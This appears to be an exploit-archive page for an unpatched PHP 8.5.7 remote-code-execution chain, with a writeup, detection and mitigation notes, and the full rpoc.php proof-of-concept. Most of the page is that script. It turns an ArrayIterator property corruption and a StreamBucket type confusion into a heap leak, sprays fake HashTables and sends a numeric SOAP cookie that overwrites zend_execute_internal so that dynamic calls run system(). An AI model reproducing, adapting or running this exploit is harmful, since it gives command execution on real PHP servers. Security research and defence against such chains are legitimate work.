PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

PHP 8.5.7 StreamBucket-to-SOAP Numeric Cookie Remote Code Execution

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
web
Affected product
PHP CLI (Zend Engine) — ArrayIterator, StreamBucket, SoapClient internals
Affected versions
PHP 8.5.7 (build-specific symbol offsets used; other builds require recomputed offsets)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categoryweb
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsphp, type-confusion, streambucket, soap, hashtable-overwrite, memory-corruption, rce, zend-engine
RelatedN/A

Affected Target

FieldValue
Software / SystemPHP CLI (Zend Engine) — ArrayIterator, StreamBucket, SoapClient internals
Versions AffectedPHP 8.5.7 (build-specific symbol offsets used; other builds require recomputed offsets)
Language / PlatformSingle-file PHP RPoC (rpoc.php) targeting a local PHP 8.5.7 CLI build on Linux/WSL
Authentication RequiredNo (proof runs in-process against a local PHP binary; real-world reachability depends on whether attacker-controlled SOAP responses can be driven in the target deployment)
Network Access RequiredNo for the local replay (uses a loopback SOAP server); Yes in a realistic deployment where an attacker-influenced SOAP response delivers the numeric cookie

Summary

This PoC demonstrates a full memory-corruption-to-RCE chain in PHP 8.5.7 built from three engine/extension behaviors chained together: ArrayIterator can mutate normally-protected internal object properties (bypassing typed-property/visibility/readonly invariants) to corrupt a StreamBucket’s data property into a raw pointer; php_stream_bucket_attach() validates the bucket resource but later trusts data as a string without a type check, yielding a controlled heap-pointer disclosure and overread; and SoapClient’s cookie storage uses zend_symtable_update(), which treats numeric cookie names as integer hash-table keys, providing the pivot needed to write a canonical (non-tagged) pointer value. By spraying fake HashTable structures in heap string storage and steering a numeric Set-Cookie name equal to the decimal address of zif_system, the chain overwrites zend_execute_internal with zif_system, so that any subsequent dynamic internal function call (e.g., $fn = 'md5'; $fn($cmd);) actually executes system($cmd). The researcher validated this locally with both a marker-file check and a debugger (GDB) transcript confirming the exact overwrite and zif_system hit. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

ArrayIterator offset assignment can write to internal-object properties (such as StreamBucket::$data and SoapClient::$_cookies) while bypassing the type/visibility/readonly invariants those properties are supposed to have; downstream, php_stream_bucket_attach() trusts StreamBucket::$data as a string without re-validating its type, and SoapClient’s cookie handling stores response cookies via zend_symtable_update(), which treats numeric-looking cookie names as raw integer hash keys rather than hashed string keys — avoiding the high-bit tagging PHP normally applies to string-key hashes and enabling a canonical function-pointer overwrite.

Attack Vector

  1. Use ArrayIterator property mutation to corrupt a StreamBucket object’s data property into an attacker-chosen integer (pointer) value while keeping its bucket property a valid resource.
  2. Exploit php_stream_bucket_attach()’s missing type check on data to obtain a controlled heap-pointer disclosure and overread via chained user stream filters.
  3. Spray heap string storage with fake HashTable structures whose arData field points to zend_execute_internal - 16, and locate the sprayed marker via the leaked pointer/overread.
  4. Use ArrayIterator again to replace SoapClient::$_cookies (normally a real array) with the address of the fake HashTable.
  5. Start a loopback SOAP server and trigger SoapClient->__soapCall(), delivering a Set-Cookie response whose cookie name is the decimal address of zif_system.
  6. zend_symtable_update() routes the numeric cookie name to zend_hash_index_update(), writing the canonical zif_system address into the fake table’s steered Bucket.h slot, overwriting zend_execute_internal.
  7. Invoke a dynamic internal function call ($fn = 'md5'; $fn($cmd);); the VM’s internal-call handler now dispatches through the overwritten zend_execute_internal, landing in zif_system($cmd) and executing the attacker’s command.

Impact

Full native code execution in the PHP process via system(), achieved from PHP-userland-reachable engine/extension behaviors (ArrayIterator, StreamBucket, SoapClient) without requiring memory-unsafe extensions — a critical remote-code-execution primitive in any application context where these classes/behaviors are reachable with attacker influence.


Environment / Lab Setup

Target:   PHP 8.5.7 CLI build (soap, SPL, standard, stream-filter support) on Linux/WSL with /proc/self/maps and /proc/self/mem access
Attacker: The rpoc.php script itself (self-contained); validate.sh replay wrapper

Proof of Concept

PoC Script

See rpoc.php and validate.sh in this folder.

1
bash validate.sh /path/to/php-8.5.7/sapi/cli/php

rpoc.php reads its own PIE base from /proc/self/maps, computes zend_execute_internal/zif_system addresses from known build offsets, sprays and locates a fake HashTable via the StreamBucket type-confusion overread, replaces SoapClient::$_cookies with the fake table’s address, drives a loopback SOAP call with a numeric Set-Cookie equal to zif_system’s decimal address, and finally makes a dynamic internal call that executes system(), writing a marker file (/tmp/php857_rce_<pid>.txt containing PHP857_RCE) to prove command execution.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexplained system()-spawned child processes from PHP worker processes
  • SOAP request/response traffic containing Set-Cookie values that are large decimal integers rather than typical session tokens
  • Application logs showing ArrayIterator usage against SoapClient or stream-filter internal objects from untrusted input paths

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor php-src for a fix restricting ArrayIterator property mutation on internal objects, and for hardening in php_stream_bucket_attach() and SOAP cookie handling
Interim mitigationAvoid exposing ArrayIterator offset-assignment on internal engine objects (StreamBucket, SoapClient, etc.) to untrusted input paths; validate StreamBucket::$data type before use; verify SoapClient::$_cookies is a genuine array before use; disable system()/exec-family functions via disable_functions where not required

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: php857-streambucket-soap-rce-rpoc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The chain is build-specific (uses hardcoded symbol offsets for the tested PHP 8.5.7 binary) and would require recomputed offsets and possible heap-shaping adjustments against other builds.

rpoc.php
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
<?php
declare(strict_types=1);

error_reporting(E_ALL & ~E_DEPRECATED);

const PHP_STREAM_BUCKET_TAIL_OFFSET = 40;
const FAKE_HT_MARKER_OFFSET = 56;
const ZEND_EXECUTE_INTERNAL_OFF = 0x1ce3030;
const ZIF_SYSTEM_OFF = 0x69f130;
const U32 = 4294967296;

function corrupt_property(object $object, string $property, mixed $value): void {
    $it = new ArrayIterator($object);
    $it[$property] = $value;
}

function corrupt_streambucket(mixed $bucketResource, mixed $dataValue): StreamBucket {
    $rc = new ReflectionClass(StreamBucket::class);
    $fake = $rc->newInstanceWithoutConstructor();
    (new ReflectionProperty(StreamBucket::class, 'bucket'))->setValue($fake, $bucketResource);
    corrupt_property($fake, 'data', $dataValue);
    return $fake;
}

function fake_hashtable_blob(string $marker, int $arData, int $mask): string {
    $blob = '';
    $blob .= pack('V', 1);
    $blob .= pack('V', 7);
    $blob .= pack('V', 0);
    $blob .= pack('V', $mask);
    $blob .= pack('P', $arData);
    $blob .= pack('V', 0);
    $blob .= pack('V', 0);
    $blob .= pack('V', 1);
    $blob .= pack('V', 0);
    $blob .= pack('P', 0);
    $blob .= pack('P', 0);
    return str_pad($blob, FAKE_HT_MARKER_OFFSET, "\0") . $marker . "\0\0";
}

function run_filter(string $name): string {
    $fp = fopen('php://temp', 'w+');
    stream_filter_append($fp, $name, STREAM_FILTER_WRITE);
    fwrite($fp, 'x');
    fflush($fp);
    rewind($fp);
    return stream_get_contents($fp);
}

function php_binary_base(): int {
    $binary = PHP_BINARY;
    foreach (file('/proc/self/maps', FILE_IGNORE_NEW_LINES) as $line) {
        if (!str_ends_with($line, $binary)) {
            continue;
        }
        if (!preg_match('/^([0-9a-f]+)-[0-9a-f]+\s+..x.\s+([0-9a-f]+)/', $line, $m)) {
            continue;
        }
        return intval(hexdec($m[1])) - intval(hexdec($m[2]));
    }
    throw new RuntimeException('failed to locate PHP PIE base');
}

function php_binary_rw_ranges(): array {
    $binary = PHP_BINARY;
    $ranges = [];
    foreach (file('/proc/self/maps', FILE_IGNORE_NEW_LINES) as $line) {
        if (!str_ends_with($line, $binary)) {
            continue;
        }
        if (preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+rw.p/', $line, $m)) {
            $ranges[] = [intval(hexdec($m[1])), intval(hexdec($m[2]))];
        }
    }
    return $ranges;
}

function select_hash_mask(int $arData, int $hashLow32): array {
    $mem = fopen('/proc/self/mem', 'rb');
    foreach (php_binary_rw_ranges() as [$start, $end]) {
        for ($slot = $start; $slot < $end; $slot += 4) {
            $delta = $slot - $arData;
            if (($delta % 4) !== 0) {
                continue;
            }
            $idx = intdiv($delta, 4);
            if ($idx < -2147483648 || $idx > 2147483647) {
                continue;
            }
            $idx32 = $idx & 0xffffffff;
            if (($idx32 & $hashLow32) !== $hashLow32) {
                continue;
            }
            fseek($mem, $slot);
            $raw = fread($mem, 4);
            if (strlen($raw) !== 4) {
                continue;
            }
            if (unpack('V', $raw)[1] === 0xffffffff) {
                return [$idx32 & (~$hashLow32 & 0xffffffff), $slot, $idx32];
            }
        }
    }
    throw new RuntimeException('failed to locate compatible hash slot');
}

final class FakeHashFilter extends php_user_filter {
    public static int $victimLen = 262144;
    public static string $tag = '';
    public static int $arData = 0;
    public static int $mask = 0;
    public static array $fakeBuckets = [];
    public static array $keepAlive = [];
    private bool $done = false;

    public function filter($in, $out, &$consumed, bool $closing): int {
        while ($bucket = stream_bucket_make_writeable($in)) {
            $consumed += $bucket->datalen;
        }
        if ($closing || $this->done) {
            return PSFS_PASS_ON;
        }
        $this->done = true;
        $victim = stream_bucket_new($this->stream, str_repeat('V', self::$victimLen));
        for ($i = 0; $i < 1024; $i++) {
            $fakeMarker = 'RH' . self::$tag . sprintf('%06d', $i);
            self::$fakeBuckets[$i] = stream_bucket_new($this->stream, fake_hashtable_blob($fakeMarker, self::$arData, self::$mask));
        }
        $carrier = stream_bucket_new($this->stream, 'rce-carrier');
        $fake = corrupt_streambucket($carrier->bucket, $victim->bucket);
        self::$keepAlive[] = [$victim, $carrier, $fake];
        stream_bucket_append($out, $fake);
        return PSFS_PASS_ON;
    }
}

final class OverreadFilter extends php_user_filter {
    public static int $fakeStringPointer = 0;
    public static array $keepAlive = [];
    private bool $done = false;

    public function filter($in, $out, &$consumed, bool $closing): int {
        while ($bucket = stream_bucket_make_writeable($in)) {
            $consumed += $bucket->datalen;
        }
        if ($closing || $this->done) {
            return PSFS_PASS_ON;
        }
        $this->done = true;
        $carrier = stream_bucket_new($this->stream, 'rce-read-carrier');
        $fake = corrupt_streambucket($carrier->bucket, self::$fakeStringPointer);
        self::$keepAlive[] = [$carrier, $fake];
        stream_bucket_append($out, $fake);
        return PSFS_PASS_ON;
    }
}

function marker_offset(string $data, string $tag): array {
    $regex = '/RH' . preg_quote($tag, '/') . '[0-9]{6}/';
    if (!preg_match($regex, $data, $match, PREG_OFFSET_CAPTURE)) {
        throw new RuntimeException('fake HashTable marker not found');
    }
    return [$match[0][0], $match[0][1], (int) substr($match[0][0], -6)];
}

function http_server(int $port, string $readyPath, string $capturePath, string $cookieName): never {
    $server = stream_socket_server("tcp://127.0.0.1:$port", $errno, $errstr);
    if (!$server) {
        file_put_contents($readyPath, "error:$errno:$errstr");
        exit(1);
    }
    file_put_contents($readyPath, 'ready');
    $conn = @stream_socket_accept($server, 10);
    if (!$conn) {
        file_put_contents($capturePath, '');
        exit(2);
    }
    stream_set_timeout($conn, 2);
    $request = '';
    $contentLength = null;
    while (!feof($conn)) {
        $chunk = fread($conn, 8192);
        if ($chunk === '') {
            $meta = stream_get_meta_data($conn);
            if (!empty($meta['timed_out'])) {
                break;
            }
            usleep(10000);
            continue;
        }
        $request .= $chunk;
        $headerEnd = strpos($request, "\r\n\r\n");
        if ($headerEnd !== false && $contentLength === null) {
            $headers = substr($request, 0, $headerEnd);
            if (preg_match('/\r\nContent-Length:\s*(\d+)/i', $headers, $m)) {
                $contentLength = (int) $m[1];
            }
        }
        if ($contentLength !== null && $headerEnd !== false) {
            $bodyLen = strlen($request) - ($headerEnd + 4);
            if ($bodyLen >= $contentLength) {
                break;
            }
        }
    }
    $body = '<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><xResponse/></SOAP-ENV:Body></SOAP-ENV:Envelope>';
    fwrite(
        $conn,
        "HTTP/1.1 200 OK\r\n"
        . "Set-Cookie: " . $cookieName . "=proof; Path=/; Domain=127.0.0.1\r\n"
        . "Content-Type: text/xml; charset=utf-8\r\n"
        . "Content-Length: " . strlen($body) . "\r\n"
        . "Connection: close\r\n\r\n"
        . $body
    );
    fclose($conn);
    fclose($server);
    file_put_contents($capturePath, $request);
    exit(0);
}

function start_server(string $capturePath, string $cookieName): array {
    for ($attempt = 0; $attempt < 20; $attempt++) {
        $port = random_int(20000, 55000);
        $readyPath = sys_get_temp_dir() . '/php857-rce-ready-' . getmypid() . '-' . $attempt;
        @unlink($readyPath);
        $cmd = escapeshellarg(PHP_BINARY)
            . ' -n ' . escapeshellarg(__FILE__)
            . ' server ' . $port
            . ' ' . escapeshellarg($readyPath)
            . ' ' . escapeshellarg($capturePath)
            . ' ' . escapeshellarg($cookieName);
        $proc = proc_open($cmd, [
            0 => ['file', '/dev/null', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w'],
        ], $pipes);
        if (!is_resource($proc)) {
            continue;
        }
        for ($i = 0; $i < 50; $i++) {
            if (is_file($readyPath)) {
                $ready = file_get_contents($readyPath);
                if ($ready === 'ready') {
                    return [$port, $proc, $pipes, $readyPath];
                }
                break;
            }
            usleep(100000);
        }
        proc_terminate($proc);
        proc_close($proc);
    }
    throw new RuntimeException('failed to start local SOAP response server');
}

if (($argv[1] ?? '') === 'server') {
    http_server((int) $argv[2], $argv[3], $argv[4], $argv[5]);
}

if (!class_exists(SoapClient::class)) {
    fwrite(STDERR, "soap extension is required\n");
    exit(1);
}

$base = php_binary_base();
$zendExecuteInternal = $base + ZEND_EXECUTE_INTERNAL_OFF;
$zifSystem = $base + ZIF_SYSTEM_OFF;
$cookieName = (string) $zifSystem;
$fakeArData = $zendExecuteInternal - 16;
[$hashMask, $hashSlot, $hashIndex] = select_hash_mask($fakeArData, $zifSystem & 0xffffffff);
$markerPath = '/tmp/php857_rce_' . getmypid() . '.txt';
$command = 'printf PHP857_RCE > ' . escapeshellarg($markerPath);

FakeHashFilter::$tag = bin2hex(random_bytes(4));
FakeHashFilter::$arData = $fakeArData;
FakeHashFilter::$mask = $hashMask;
stream_filter_register('rce.fake.leak', FakeHashFilter::class);
stream_filter_register('rce.overread', OverreadFilter::class);

$stage = run_filter('rce.fake.leak');
$victimPtr = unpack('Pptr', str_pad(substr($stage, 0, 8), 8, "\0"))['ptr'];
OverreadFilter::$fakeStringPointer = $victimPtr + 16;
$overread = run_filter('rce.overread');
[$fakeMarker, $fakeMarkerOffset, $fakeIndex] = marker_offset($overread, FakeHashFilter::$tag);
$fakeMarkerAddress = $victimPtr + PHP_STREAM_BUCKET_TAIL_OFFSET + $fakeMarkerOffset;
$fakeHashAddress = $fakeMarkerAddress - FAKE_HT_MARKER_OFFSET;

printf("php_base=0x%016x\n", $base);
printf("zend_execute_internal=0x%016x\n", $zendExecuteInternal);
printf("zif_system=0x%016x\n", $zifSystem);
printf("numeric_cookie_name=%s\n", $cookieName);
printf("fake_arData=0x%016x\n", $fakeArData);
printf("hash_slot=0x%016x hash_index=0x%08x hash_mask=0x%08x\n", $hashSlot, $hashIndex, $hashMask);
printf("marker_path=%s\n", $markerPath);
printf("victim_bucket_ptr=0x%016x\n", $victimPtr);
printf("fake_marker=%s index=%d offset=%d\n", $fakeMarker, $fakeIndex, $fakeMarkerOffset);
printf("fake_hash_address=0x%016x\n", $fakeHashAddress);
fflush(STDOUT);

$capturePath = sys_get_temp_dir() . '/php857-rce-capture-' . getmypid() . '.txt';
@unlink($capturePath);
[$port, $proc, $pipes, $readyPath] = start_server($capturePath, $cookieName);

$client = new SoapClient(null, [
    'location' => "http://127.0.0.1:$port/",
    'uri' => 'urn:x',
    'trace' => true,
]);
corrupt_property($client, "\0SoapClient\0_cookies", $fakeHashAddress);
$client->__soapCall('x', []);
echo "overwrite_returned\n";
fflush(STDOUT);

foreach ($pipes as $pipe) {
    fclose($pipe);
}
proc_close($proc);
@unlink($readyPath);

$trigger = 'md5';
$trigger($command);
exit(0);